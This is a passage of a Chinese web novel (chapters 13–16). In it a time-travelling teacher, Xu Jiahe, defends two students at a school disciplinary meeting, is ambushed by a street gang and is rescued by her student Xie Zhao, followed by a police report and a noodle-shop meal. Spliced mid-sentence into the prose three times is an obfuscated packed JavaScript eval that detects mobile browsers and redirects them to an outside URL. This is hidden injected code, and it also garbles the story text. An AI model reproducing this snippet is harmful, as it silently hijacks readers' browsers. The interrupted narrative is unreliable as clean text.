但他自己这么快就气急败坏地跳出来,不就反而坐实了谢昭所言非虚吗? 不过也是,赵志军他压根就不认为自己说的话、做的事是错的,他或许还觉得领导们刚刚的话是想要维护自己呢。 “领导们,所以事实真相如何,我想我也不必再赘述了。”徐嘉禾摇了摇头,“事发突然,谢昭作为一个十六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117123|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁的学生,在当时的情境下情绪失控,是可以理解的。” 刘主任皱了皱眉:“徐老师,你这偏袒得也太明显了吧?” “我不是偏袒,我只是实话实说,”徐嘉禾迎上他的目光,“刘主任,如果今天挨打受辱的不是谢昭和吕晓杨,而是您的女儿或者是您本人,您会忍气吞声吗?” 刘主任噎住了,悻悻地挪开眼神,不再多话。 “我只是一时口不择言了,”赵志军还想挣扎,“但是学生打老师,这个性质是相当恶劣的……” “一时口不择言,就能这样贬低、侮辱你的学生吗?”李校长的声音里带了怒意,“赵志军,你的师德师风去哪里了?体罚学生,还是用戒尺打脸?你是旧社会的私塾先生吗?” 这话要往严重了说,那可就大有说头,赵志军立马蔫了,低下头不敢再吭声。 “所以,我希望各位领导能够客观地看待这件事情,”徐嘉禾道,“不要最后闹到警察局或者什么别的地方,再验个伤,那事情就麻烦了。” 李校长的脸色变了变:“徐老师,这种事情也没有必要闹到这么大吧?” “我知道。”徐嘉禾点头,“所以我才希望学校能够公正处理,既不让老师受委屈,也不让学生蒙冤。” “我明白了,”胡丽华冲徐嘉禾点了点头,脸上的皱纹舒展开,“徐老师,你带学生先出去等一下,我们讨论一下。” “好的,校长。”徐嘉禾二话不说,带着两个女孩退出了校长办公室,顺手轻轻关上门。 校长办公室隔音太好,她们在走廊上什么都听不到,安静得有些可怕。 吕晓杨小声问:“徐老师,我们会被开除吗?” “不会的,”徐嘉禾拍拍她的肩,“要是他们敢开除你们,我就陪他们闹到底,大不了连我一起开除呗。” 谢昭自从赵志军开口反驳她开始,就一直沉默着,这时忽然开口说:“徐老师,谢谢你。” “谢什么,我是你的班主任。”徐嘉禾笑了笑,“下次再遇到这种事,第一时间来找我,也别忍着。” “我怕给你添麻烦。”谢昭低声说,徐嘉禾惊讶地发现少女的眼中似乎有些晶莹,只是倔强地忍住了,没有让眼泪掉下来。 “你傻啊,有免费劳动力不用白不用呗,”徐嘉禾摇摇头,“我的用处就是给你们解决麻烦的。” 大约二十分钟后,会议室的门开了。 刘主任探出头来:“徐老师,校长请你们进来。” 三人重新走进会议室,领导之间的气氛明显缓和了许多。 李校长清了清嗓子:“我们的决定是,第一,赵志军老师教育方式相当不当,暂时停课一周反思。” “第二,谢昭同学在课堂上与老师动手,情节恶劣,记一次警告;但考虑到事出有因,处分暂时不录入档案,如果再犯同类事件,绝不轻饶。” “至于徐老师,”王校长看向徐嘉禾,“你作为班主任,应该对班级管理负起责任,这件事影响确实过于恶劣,你还是得写一份三千字的反思报告交上来。” 这个结果已经比徐嘉禾曾经所担心的好很多了。 警告不录入档案,等同于无事发生;至于她自己要写劳什子的报告,那就更是小事了,是以她愉快地接受了这个结果。 徐嘉禾诚恳地向领导们承认了自己的错误,带着松了口气的谢昭和吕晓杨向外走,意味深长地看了赵志军一眼。 赵志军老师,您可还有一份大礼等着签收呢。 14. 第 14 章 解决了头上悬着的达摩克利斯之剑,三个人都放松下来,有说有笑地往教学楼走去。 看着两个女孩走进五班的教室,徐嘉禾靠在走廊的墙壁上,长长地吐出一口气,庆幸自己过了这一关。 她推开办公室的门,许晴几乎是扑上来的,眼镜片后的眼睛睁得溜圆:“怎么样?学校那边怎么说?” “还好,谢昭记了个警告,但不会录入档案,算是什么也没发生。”徐嘉禾用手背捂着眼睛,闻言简单说了处理结果,也把事情的前因后果统统说了一遍。 许晴听得咂舌,跟着徐嘉禾一起痛骂赵志军这个老不死的。听到处理结果,她松了口气,又皱眉:“赵志军呢?就这么算了?” “他被停了一周课,我估计他也不敢造次了,”徐嘉禾绘声绘色地给许晴讲了半天,觉得口干舌燥,又拿起水杯喝了口水,“以及,这件事情之后,绝对不能再让赵志军继续当五班物理老师了。” “话是这么说,”许晴叹了口气,“徐嘉禾,不是我想说你们班的学生。别的老师不知道内情,按刻板印象想你们班,估计没一个敢在这个档口来给你们班当物理老师的。” “我也在想这件事,”这正是徐嘉禾最担心的问题,她绝望地捂着脸,闷闷地说,“走一步看一步吧,实在不行,我看看我能不能上去顶一下?” “你疯了?”许晴不可置信地看着她,抬手去摸徐嘉禾额头,“这也没发烧啊?你个语文老师,教物理?” “这不是没办法了吗?”徐嘉禾没什么底气地说,“我高考理科考得还挺好的。” 这是实话,虽然徐嘉禾上大学学的是文科专业,但选科是理科。她理综成绩可以说是优异至极,这才上了国内最顶尖的大学。 “教书和学习是两回事吧,”许晴觉得徐嘉禾一定是被今天跌宕起伏的事情打击到疯掉了,“你的意思是,你准备又教语文、又教物理,还当班主任?” “总不能真让咱班没物理老师吧?”徐嘉禾听着就觉得自己的前途相当暗淡,整个人都萎靡了下去,却还是坚持着说,“没有办法也是一种办法。” 许晴看着她认真的侧脸,忽然叹了口气:“徐嘉禾,有时候我真看不懂你,你之前不是跟我说,你最嫌麻烦吗?这会儿怎么这么负责任了?” “可能是因为,”徐嘉禾刚摊开工作报告补起来,闻言停下笔,若有所思,“我觉得他们需要我吧。” ……她又不能告诉许晴,她要是不负责任,她的未来就彻底完蛋了。 许晴摇摇头,不再劝了。 她回自己的位置看书喝茶,过了一会儿,像是想起什么似的,忽然开口道:“对了,你听说了吗?赵志军那点事,已经在学生间传开了。” 徐嘉禾写字手一顿:“什么事?” “就他靠父亲和老丈人关系的事啊。”许晴压低声音,“我都不知道是怎么传出去的,这件事不是只是在我们老师内部知道吗?” 徐嘉禾垂下眼帘,掩住眼中的一丝得逞笑意:“谁知道呢?可能是学生们的消息灵通吧。” “你少来,我本来还想呢,刚刚听你说了,越想越不对。”许晴瞪她一眼,“你放出去的风声,是也不是?你这打击报复真及时啊,半个上午就能传遍全年级?” “那你得感谢五班的情报网,”徐嘉禾冲许晴眨了眨眼睛,“五班别的不一定行,人脉绝对是优势。” 她人逢喜事精神爽,本来还萎靡不振一副精气不足的样子,这会儿大仇得报,外加听到同事的八卦,腰也不弯了、气也不叹了,神清气爽:“他纯活该,惹谁不好、惹五班这群混世魔王。” 下午,高二五班师生互殴事件的处理结果,以及赵志军靠完爹靠老丈人的光辉历史,彻底在整个锦大附中传开了。 五班的教室里,气氛则有些微妙了起来。 一方面,大家觉得谢昭为民除害,其大无畏精神简直可以大肆宣扬;另一方面,他们又担心起徐嘉禾会不会因此受牵连,或者对五班彻底失望。 下午最后一节是自习课,徐嘉禾拿着一叠批改好的试卷走进教室。 教室瞬间安静下来,所有人都惴惴不安地看着她。 徐嘉禾把试卷放在讲台上,没有立刻说什么,只是静静地看过讲台下每一张青涩而表情紧张的脸。 “今天的事情,”她终于开口,“我相信大家应该都知道了。” 学生们屏住呼吸。 “首先,关于赵老师的事情,学校已有处理,我也会向学校报告,为我们班换一位物理老师。”徐嘉禾语气平静,“其次,谢昭和吕晓杨有错,她们也付出了代价。这件事,到此为止。” 她顿了顿,话锋一转:“但是,有件事,我需要向大家道歉。” 五班的同学们一愣。 徐嘉禾微微鞠躬:“今天早上,在得知事情发生的那一瞬间,我承认,我感受到了一种真心被辜负的愤怒。” “然而,事实证明,我大错特错,”徐嘉禾继续说,“你们没有错,而我没有坚持对你们的信任,这是我的刻板印象导致的。我认为,我需要为此向你们道歉。” “从今往后,我会更加地相信你们,我也希望,在这次事件之后,你们也能够更加信任我;互相信任,才是良好关系的开端。” 教室里安静得落针可闻,几十双眼睛看着讲台上真诚鞠躬道歉的年轻老师,一时间连呼吸的频率都放缓了。 “好了,煽情的话就说这么多,”徐嘉禾直起身,脸上又恢复了平日里带着些调侃的神情,“闲话少叙,下周就是半期考试了,都打起精神来,让学校知道我们五班值得更好的物理老师。” 五班的同学发出了一阵哀嚎声,但氛围明显松弛了下来,这种感叹里的排斥也少了不少,更多的是一种气氛组的本能。 放学铃声响起,学生们鱼贯而出,今天居然还有不少同学书包里装了不少书回家,一副要认真学习的架势。 徐嘉禾倒也没真的指望他们的成绩突飞猛进,但见学生们做出这幅样子,她心里也欣慰了不少。 她收拾好东西,最后检查了一遍教室门窗,才锁上门,推着那辆旧自行车离开校园。 冬日的傍晚黑得早,不过下午六点,天色已经暗了下来,街灯次第亮起,洒下昏黄的光晕。 徐嘉禾紧了紧围巾,迎着微寒的晚风,骑车驶向回家的路。 通往她家的小路比较僻静,两旁是老旧的居民楼,路灯间隔很远,光线昏暗。 平时徐嘉禾走惯了,倒还不觉得有什么,谁知今天巷子里静得出奇,连平日蹲在墙根闲聊的邻居都不见踪影。 一丝若有若无的不安爬上脊背,她下意识加快了些蹬车的速度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117124|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在快要骑出这一截巷子、来到一盏大路灯底下时,前方岔口忽然晃出几个人影,不偏不倚挡在了路中间。 天太黑了,他们出来得又突然,徐嘉禾差点没反应过来。自行车的前轮几乎要撞上其中一人的腿,她连忙捏紧手刹,轮胎摩擦地面发出刺耳的声音,自己也差点从车上摔下去。 那几人上前一步,为首的那个流里流气的站姿,熟悉的、惹人生厌的脸,不是黄毛还能是谁? “这不是我们锦大附中的徐老师吗?”黄毛眯眼,“怎么这么晚才下班,等死我了。” 徐嘉禾觉得自己命好苦,果然人倒霉的时候喝凉水都能塞牙,走夜路都能撞鬼。 她扫了一圈周围,现在骑自行车跑可能也有点来不及了,再加上这个点,大家几乎都呆在家里吃晚饭了,街上行人寥寥无几,要喊人,一时半会儿也没人能来。 她只能尽量保持冷静,淡淡地问:“有事?” “没事,就是上次徐老师太威风了,我想带着哥几个来学习学习,”黄毛一个眼神,周围一群人慢慢围了上来,“之前跑空几次,今天终于被我们逮着机会了。” 他不说还好,一说,徐嘉禾更觉得自己命苦了。 上一周她几乎天天在加班,开各种各样的会、写各种各样的报告,每天到家的时间比狗睡觉的时间还晚、出门的时间比鸡起床的时间还早,黄毛按一般人下班的点来堵人,当然只能堵到空气了。 好不容易今天白天解决了一件大事,徐嘉禾想着晚上早点下班回家,给自己放个假,结果就被混混堵了。 一想到这茬,徐嘉禾就觉得自己现在身上怨气森森,一口气打十个小混混都算泄愤了。 “不是说好了,愿赌服输吗?”当然,话是这么说,徐嘉禾也不敢真的打十个小混混,所以她只是攥住车把手,冷冷地说。 “街溜子的话你也信?”黄毛睁大了眼睛,往地上啐了一口,“我说你们老师是不是教书教傻了啊?老子又不是学生,你以为我那么好糊弄过去?” 徐嘉禾:“……那你想怎么样?” 其实,谢昭他们与其说是变好了,不如说是本性就不坏,只是没有人愿意像徐嘉禾这样去对他们罢了。 徐嘉禾也不会真的以为自己的教学水平有多高超,还妄想着去感化黄毛这帮子人。 “很简单,要么破财免灾,要么……”黄毛的眼神把徐嘉禾从头到脚扫了一遍,“我相信你挨几下打,应该还是承受得住的,对不对?” “所以,明明就还是因为缺钱嘛,”徐嘉禾都要无力吐槽了,“我就不明白了,要么抢小孩游戏币、要么打劫穷得叮当响的年轻老师,你们干坏事都不能干点有出息的吗?” “我要是能干点什么有出息的事,我还至于继续当小混混吗?”黄毛翻了个白眼,对自我的认知倒是相当清晰,“别废话了,赶紧选了,选完我和兄弟们还要吃晚饭呢。” “所以,我给你们钱,你们就拿钱去吃饭;不给你们钱,你们是不是又要去吃霸王餐?”徐嘉禾好奇地问。 她一边问这些有的没的,一边用余光观察周围有没有人经过她好求救,只可惜连一个人影都没有。 “那倒不是,”黄毛诚实地说,“周围的餐馆老板统统记住我们的脸了,我们敢进他们的店,他们就要报警。” 徐嘉禾:“……” 15. 第 15 章 徐嘉禾心中清楚,今天怕是难以轻易脱身,对方人多势众,又在这僻静处,硬碰硬绝非上策。 “要钱没有,”徐嘉禾也不是贪财,她身上是真没钱,“我这个月工资还没发,身上就几块钱饭钱,说不定比你们还穷呢。” “你看我信不信你,”黄毛嗤笑,“当老师的人能穷成什么样?” “我是新老师,级别低工资低少,开销还大,”徐嘉禾实话实说,“你们要是不信,可以搜啊。” 她说着,还主动把自行车筐里的布袋子拿了出来,打开给黄毛看,里面只有她的教案本、一支钢笔、一个铝饭盒,还有零散的五毛一块纸币,一打眼看过去不超过五块钱。 黄毛将信将疑地伸长脖子,往布袋子里瞅了一眼,确实寒酸得可以,有些恼羞成怒:“这么穷?真晦气!” “我都说了没骗你们,”徐嘉禾耸了耸肩,把布袋子重新系好,放回车筐,“差不多得了吧,你还想干嘛?” “那怎么行,钱虽然没有,气还是要出的,”黄毛凑近一步,“上次你让我在那么多人面前丢脸,这笔帐不得好好算算吗?” 看来讲道理是行不通了。徐嘉禾手心渗出冷汗,她悄悄将一只手伸口袋,摸了一圈,别的似乎都没什么用,唯有钢笔有些攻击力,但也只是聊胜于无。 就在黄毛伸手要来拽她车把的瞬间,徐嘉禾猛地将自行车往前一推,车头撞向黄毛腹部,同时自己侧身向旁边一闪,转身就跑,大喊:“抢劫啊!有人抢劫!” 前方不远就是大路,她要是跑到大路上,说不定还有一线希望。 徐嘉禾的声音在寂静的巷子里回荡,显得格外尖锐刺耳。黄毛被自行车撞得一个趔趄,惊怒道:“闭嘴!” 他扑上来想捂徐嘉禾的嘴,徐嘉禾抽出紧紧攥在手里的钢笔,用尽力气朝他眼睛的方向扎去。 黄毛本能地躲,钢笔扎到了他颊侧,蓝黑色的墨水混着血往下滴,显得他整个人格外阴森恐怖。 “给脸不要脸是吧?”黄毛慌乱地伸手去摸,只差一点就扎到眼睛了。他又怕又恼,一巴掌就朝徐嘉禾扇过来。 徐嘉禾矮身躲过,踉跄着退后几步,后背抵住冰冷的砖墙,再无路可退。另外几个混混见状,一个个跟着围了上来,徐嘉禾几乎被堵死在墙角。 黄毛不知从哪里掏了把水果刀出来,装模作样地在徐嘉禾眼前比划:“怎么样?还跑吗?” “砰!” 正在这时,异变陡生。 一声闷响,伴随着重物落地的声音和一声惨叫,突兀地划破了近乎凝滞的空气。 所有人皆是一愣,循声望去。 只见巷口那盏昏黄的路灯下,不知何时多了一道高挑的身影。那人手里掂着一根空心的铁管,脚边一个原本想要偷袭徐嘉禾的混混,正跪在地上,痛得捂着手臂说不出话。 “哐当!” 又是一声闷响,另一个想从侧面扑上来的混混被铁管扫中腿弯,惨叫着摔倒在地。 来人动作干净狠厉,没半点花哨,每一下都冲着关节这类能让对手失去行动力、但又不会像打后脑勺一样致死的地方去。 徐嘉禾呆呆地看着那人的方向,看不清对方的面容,只能看见握着铁管的、利落有力的手臂线条,和快得几乎带出残影的动作。 黄毛后退了一步,眼睁睁地看着那人往这个方向走,逐渐走进了这片路灯光所照得到的范围,众人这才看清了她的脸。 是谢昭。 谢昭不知什么时候来的,穿件黑色的夹克衫配牛仔裤,马尾高高扎起,巷子里的冷风卷过来,吹得她衣摆微扬,她紧紧盯着黄毛,拖着钢管一步步靠近。 钢管在地上摩擦发出刺耳的“呲啦”声音,再加上这个颇具压迫感的打光,徐嘉禾有种错觉,自己看到了电视剧里面的杀人狂魔,谢昭拖着的铁管都要变成镰刀了。 “黄毛,”谢昭在两人面前停住,“有完没完?” “这话该我问你吧?”黄毛脸上的表情惊讶中带着恼怒,“怎么哪儿都有你?” “今天我正好找我们班主任有点事,谁知道能碰到你。”谢昭把铁管杵在地上,发出沉闷的声响,“你要不然就滚蛋,要不然就跟我打,废话怎么这么多。” 黄毛脸上肌肉抽动,挥刀前冲,水果刀划出一道寒光。谢昭侧身险险避开刀锋,手中铁管顺势横扫,把要近身的几人逼得急急后退。 但她还没来得及转守为攻,黄毛的第二刀已至,这次谢昭躲开稍慢,刀锋在她左臂划开一道浅浅的口子。 疼痛让谢昭咬紧了牙关,她不仅没有收回手臂,反而旋身,不顾刀尖因而划得更深,扬起铁管,带着破风声狠狠砸在黄毛肩颈处。 黄毛只觉得手臂一酸,失去了知觉,那把小水果刀也拿捏不住,落在地上,被谢昭一脚踢开。 谢昭的铁管已经换了个方向,挑起抵在黄毛喉结下方。 一切发生得太快,徐嘉禾几乎没有反应过来。 但在她看到另一个小混混从地上爬了起来、正准备用半块砖从后方偷袭谢昭时,徐嘉禾什么也顾不上了,本能地顺手抄起铝饭盒,往对方的后脑砸去。 她力气小,铝饭盒的重量轻,是以没造成什么严重的伤害,但也足以让小混混的动作停滞片刻,下意识捂着脑袋回头找罪魁祸首。 他发现是徐嘉禾动的手,难以置信地怒视着她。 “怎么连老师都敢打人了?”小混混骂骂咧咧,全然忘了自己才是先动手的一方,倒像受了天大的委屈一般大呼小叫起来。 就这一刻,已经足够谢昭反应过来,她回身一记肘击,正中对方下颌。那人痛得弯下腰,谢昭抬膝补上一下,他便彻底蜷缩在地了。 “谢昭,这女的上次让我丢脸,这口气我咽不下去,”黄毛捂着已经完全麻木的手臂,色厉内荏,“你真要为了个老师跟我翻脸?” 谢昭手里的铁管又往前抵了半分,黄毛被迫往后仰了仰头,喉结滚动。 “翻脸就翻脸,你以为我怕你?”谢昭冷冷地说,“咽不下去,那就给我憋着。” 谢昭的左臂伤口不算深,但动作幅度太大,撕扯伤口已经开始流血了,暗红色的液体顺着小臂往下淌,滴在地面上。 但她握铁管的手依然很稳,眼睛眨都没眨。 黄毛被铁管顶着喉咙,脸色在灯光下显得更加惨白,但他眼神里的凶狠还没完全散去,死死瞪着谢昭,又恨恨地扫向徐嘉禾。 谢昭像感觉不到手上粘腻的血迹似的,只将铁管又往前送了半分:“还不滚?” 黄毛喉结上下滚动,刚要再放几句狠话,另一个清冷的声音,从巷子另一端幽幽传来: “谢昭,我报警了,警察马上就到。” 一时间,徐嘉禾、谢昭、黄毛,还有地上躺着的两个,都往声音来源的方向看了过去。 徐湛的身影从巷口更深的阴影里走出来,他看样子是跑回来的,有些气喘吁吁,脸色在昏暗光线下显得格外苍白,眼神却努力保持着镇定,直直盯着黄毛那伙人。 黄毛一伙人听到“警察”两个字,脸色齐刷刷变了。 他们只是社会青年,最怕的就是穿制服的,锦宁治安虽不算顶好,但上升到持刀伤人的地步了,真被逮进去关上几 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伤口不深,但划得颇长,皮肉翻卷,鲜血正不断地渗出来,染红了谢昭衣服的袖子,看起来颇为吓人。 “谢昭!”徐嘉禾的心揪紧了,小心翼翼地托住谢昭受伤的左臂,声音都变了调,“你怎么样?疼不疼?” 谢昭原本还绷着脸维持高冷,被徐嘉禾这么一碰,疼得“嘶”了一声,差点破功,但嘴上却仍然硬气:“没事,皮外伤,看着吓人而已。” “什么皮外伤!流这么多血!”徐嘉禾又急又气,更多的是心疼和自责。 脚步声终于到了巷口,两个穿着制服的民警打着手电筒,警惕地照了过来。 “谁报的警?怎么回事?”一个中年民警利落地上前,目光锐利地扫过现场。 “我报的警,有几个流氓在这里持械抢劫我们老师,”徐湛上前一步,指了指徐嘉禾,又看向谢昭,“还想行凶伤人,我同学为了保护老师,跟他们打起来了,受了伤。” 民警看了看徐嘉禾,又看向满手是血的谢昭,表情严肃起来:“持械抢劫?人呢?” “跑了,刚跑不久,往那个方向。”徐湛指了一下黄毛他们逃离的方向。 年轻些的民警蹲下身检查谢昭的伤口,抬头看向中年民警:“哥,伤口需要处理,你把人先送医院吧,我去追追看。” 中年民警点点头,迅速向同伴交代了几句。年轻民警立即朝黄毛逃跑的方向追去,身影很快消失在巷子的拐角。 “伤得确实不轻,得赶紧处理,”中年民警蹲下身,仔细查看了谢昭手臂上的伤口,“小姑娘挺勇敢,但下次遇到这种事,保护自己是第一位的,记住了吗?” 谢昭没吭声,徐嘉禾知道她指定没听进去,悄悄捏了捏她没受伤的右手,谢昭才勉强点了点头。 “我是锦大附中的老师,徐嘉禾,”徐嘉禾定了定神,向民警解释道,“这两位是我的学生,谢昭和徐湛。今天多亏了他们。” 民警的目光在三人之间转了一圈,倒也没多问,只是利落地站起身:“情况我大概了解了。徐老师,麻烦你跟我回所里做个笔录。这位同学我会找一位民警陪着,去医院包扎一下。” “我没事……”谢昭还想嘴硬,被徐嘉禾一个眼神制止了。 “听警察同志的。”徐嘉禾语气不容置疑。 她看向徐湛,本想让徐湛先回家,免得家人担心。 但她看着少年苍白的脸色,话到嘴边又改了主意:“徐湛,你也一起来吧,做个笔录,然后我们一起回去。” 16. 第 16 章 徐嘉禾当了两辈子遵纪守法好市民,这还是她第一次进派出所。 值班民警安排徐嘉禾和徐湛去二楼做笔录,而谢昭则由另一位女警带去最近的卫生所包扎伤口。 “我想跟着去医院看看。”谢昭刚跟着警察迈出派出所的大门,一直不声不响的徐湛忽然开口了。 民警愣了愣:“这位同学,你留在这儿做笔录就行,那边不用……” 徐湛也不说话,只是抿着唇盯着谢昭看。 徐嘉禾看了看他,又看了看撇着嘴假装不看他们、但也没有出言表示反对的谢昭,忽然明白了什么。 “让徐湛陪谢昭去吧,”徐嘉禾掩下唇边的笑意,对民警说,“他们两个同学聊聊天、互相安慰一下挺好的,笔录我一个人做应该也够了。” 民警们虽然有些疑惑,但还是同意了。 女警带着谢昭和徐湛去了卫生所,徐嘉禾则留在派出所,配合做详细的笔录。 她将从下班到被黄毛一伙围堵,再到谢昭突然出现、徐湛报警,直至警察赶到的整个过程,尽可能清晰地叙述了一遍,并重点说明了自己和黄毛上次在游戏厅是如何结怨的。 “所以,这伙人是蓄意报复?中年男警一边记录一边问。 “应该是的,”徐嘉禾点头,“上次在游戏厅,我和我学生谢昭离开之前,他就冲我们撂过狠话。” 男警闻言挑眉,抬眼打量她:“徐老师,你学生挺不一般啊。” “这算是在夸他们吗?”徐嘉禾有些哭笑不得。 “你放心,我们会尽力追查那几个混混的下落,”男警也笑了笑,随即皱起眉头:“不过你最近上下班还是要注意安全,尽量别走夜路,最好有同事一起走,或者家人来接送。” “谢谢王警官。”徐嘉禾点头应下,心里却有些发愁。 她在1991年哪来的家人?她的家人自己现在还是小孩子呢。 至于同事们,那自然也都各有各的事情,总不能天天麻烦别人。 笔录做完,男警让徐嘉禾签了字,他见她还是一副心神不宁的样子,便道:“你学生那边应该也处理得差不多了,我让人带你去卫生所看看?” 徐嘉应了一声,跟着一位年轻的辅警走出派出所,卫生所离派出所不远,步行几分钟就到了。她向警察道了谢,转身往卫生所走去。 这是一间不大的社区诊所,灯光白惨惨的,空气里弥漫着消毒水难闻的气味。 小小的诊所里人还不少,徐嘉禾刚一推开门,第一眼就看见谢昭坐在靠墙的长椅上,左臂的袖子高高挽起,手臂上缠了厚厚的纱布。 她的脸色有些苍白,但精神看起来还行,正微微偏着头,听坐在她旁边的徐湛低声说着什么。 “徐老师。”徐湛先看到了门口的她,立刻站了起来。 谢昭下意识把手臂往背后藏,意外扯动伤口,疼得她直抽气。仿佛是忽然反应过来没有必要藏似的,她又一副满不在乎的样子别开了眼。 “谢昭,”徐嘉禾走到她面前,蹲下身,仔细看了看她包扎好的手臂,“医生怎么说?伤口深吗?要不要紧?” “就缝了四针,”谢昭撇撇嘴,“医生说没伤筋动骨,按时换药别沾水就行。小意思。” “缝了四针还小意思?”徐嘉禾心疼地叹了口气,抬头看向谢昭苍白的脸,“疼吗?有没有头晕恶心的感觉?” “不疼,”谢昭嘴硬,但苍白的脸色出卖了她,“我又没有失血过多。” “但失血也不少,”徐湛在旁边拆台,他从兜里掏出一个袋子,“医生说麻药退了会疼,开了止痛药还有消炎药。” “医药费多少钱?”徐嘉禾看着谢昭欲言又止的表情,有些想笑又忍住了。她轻轻咳了两声,问,“我把钱还给你们。” “不用……”谢昭第一反应就是想拒绝。 但徐湛已经下意识开口道:“一块五,谢昭不让我付钱。”语气里颇有些委屈的意味。 谢昭立即瞪了他一眼,似乎嫌他多话。 徐嘉禾从自己的小布包里拿出一块五,拉过谢昭没受伤的右手,把钱轻轻放进她手心。 “拿着,”徐嘉禾语气温和,却坚定、不容拒绝,“你是学生,我是老师,你还是因为我受的伤,没道理让你付钱。” 谢昭盯着手心里皱巴巴的零票子,又抬眼看看徐嘉禾,她嘴唇动了动,想说什么,但最终只是攥紧了零钱,闷闷地“嗯”了一声,别过头去。 徐嘉禾知道她别扭,也不多劝,转而问:“时间不早了,你们都还没吃晚饭吧?走吧,我请你们吃东西?” “你还有钱吗?”谢昭忍不住问。她刚刚看到,徐嘉禾包里本来就只有那点可怜巴巴的钱,付了医药费钱更少了。 “没了,”徐嘉禾诚实道,“所以我也请不起太贵的客,但请你们吃碗面还是够的。” 附近有一家面馆开了很多年,以量大物美价廉而颇受周边领居欢迎。 在徐嘉禾小的时候,谢昭就经常开车带徐嘉禾去那家面馆,一直到徐嘉禾25岁的时候,这家面馆不仅没垮,还做大做强,成了锦宁地标性的网红老餐馆之一。 徐嘉禾上次路过这里,就发现这家面馆居然在1991年时已经存在了。只是她第一次吃时已经是十年老店的面馆,如今店面还没有经过岁月的沉淀,桌椅板凳都是崭新的。 三人来到街口,面馆的灯果然亮着,只是已经过了饭点,店面里坐着的人很少。谢昭在最里面那张靠墙的空桌旁坐下,徐湛跟了过去,坐在她对面。 老板是位三十来岁的漂亮姐姐,正坐在柜台边打哈欠,见有人来,随口招呼:“要吃什么?” 谢昭直起身看了一眼墙上的价目表,最便宜的素面也要五毛,她抿了抿唇:“素面就行。” 徐湛也点了点头:“一样。” “你们俩今天都出了力,特别是谢昭,还光荣负伤了,怎么能只吃素面?”徐嘉禾不由分说,转头对老板说,“两碗牛肉面,再加两个煎蛋,我要素椒杂酱面。” “好嘞!”老板应了一声。 她写了单子,用串在一根铁索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122632|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的夹子夹着,用力一送,夹子顺着连接柜台和厨房的铁索,飞快地遛进了厨房。 “好帅!”谢昭还是第一次见到这种传单方式,眼睛顿时亮了。 “帅吧?”徐嘉禾笑眯眯地说。她就知道,现在这些沉迷武侠小说的少男少女,会喜欢这种新颖又潇洒的行为,这也是她特意带谢昭二人来这家店的原因,“这算是这家面馆的特色之一了。” “帅,”谢昭真情实感地夸赞,“如果我以后开面馆,我也要在店里弄一条这样的铁索来传单子。” 徐嘉禾:“……?” 妈,咱要不考虑定一个稍微宏伟一点的愿望呢? 徐嘉禾忽然在想,如果她回去建议谢昭在总裁办公室和员工办公室之间拉一根铁索来传文件,她会不会被她妈打死。 面很快端了上来,粗瓷大碗里的热气腾腾地蒸上来。两碗牛肉面上铺着几块牛肉和边缘焦脆的煎蛋;素椒杂酱面上则是炒得干香的肉臊,面条裹着红油,让人胃口大开。 徐湛默不作声地把自己碗里的煎蛋也夹到谢昭碗里,谢昭动作一顿,抬眼看他。 “血流太多了,多吃点补补。”徐湛言简意赅,低头挑起自己碗里的面。 谢昭“啧”了一声,倒也没客气,夹起煎蛋咬了一大口。牛肉炖得酥烂,面条筋道,热乎乎的汤面下肚,她苍白的脸上总算有了点血色。 徐嘉禾是真的饿了,神经紧绷了一整天,她吃了几大口又辣又香的面条,这才觉得整个人都活了过来。 “对了,”徐嘉禾吃美了,才终于想起来,问,“你们俩今天怎么在那里?” “我……”谢昭和徐湛对视了一眼,磨磨蹭蹭了半天,谢昭才先开口,“我就是想跟你说,能不能尽量不要把今天白天我挨处分的事情告诉我爸……结果正好遇到你被堵了。” “我知道班主任找家长沟通是应该的,”她见徐嘉禾瞪大了眼睛,立马有些紧张地打断,“但是如果可以的话,可不可以尽量不要说……免得他又说那些莫名其妙的话。” 徐嘉禾听了谢昭的话,心中了然,点了点头:“我会尽量帮你遮掩的……你爸还是老样子吗?我以为他会看见你最近的进步呢。” “他根本就不是认真想管我,”谢昭用筷子戳着碗里的面条,沉默了一会儿,“他只是在每次我犯错的时候,跳出来责骂我两句,显得他有在关心我的教育,事实如何,对他来说不重要。” 徐嘉禾看着谢昭咬着牙的、倔强的侧脸,心中五味杂陈。 她可以想象出谢昭的父亲的样子,大概是个有些古板、脾气急躁、习惯于用权威压迫而非沟通来解决问题的中年男子。 但她记忆里的姥爷是沉默而慈祥的,会偷偷塞糖给她,会在妈妈训她时打圆场。 徐嘉禾很难将那样一位老人,和谢昭口中这位只知责骂、不见关怀的父亲联系起来。 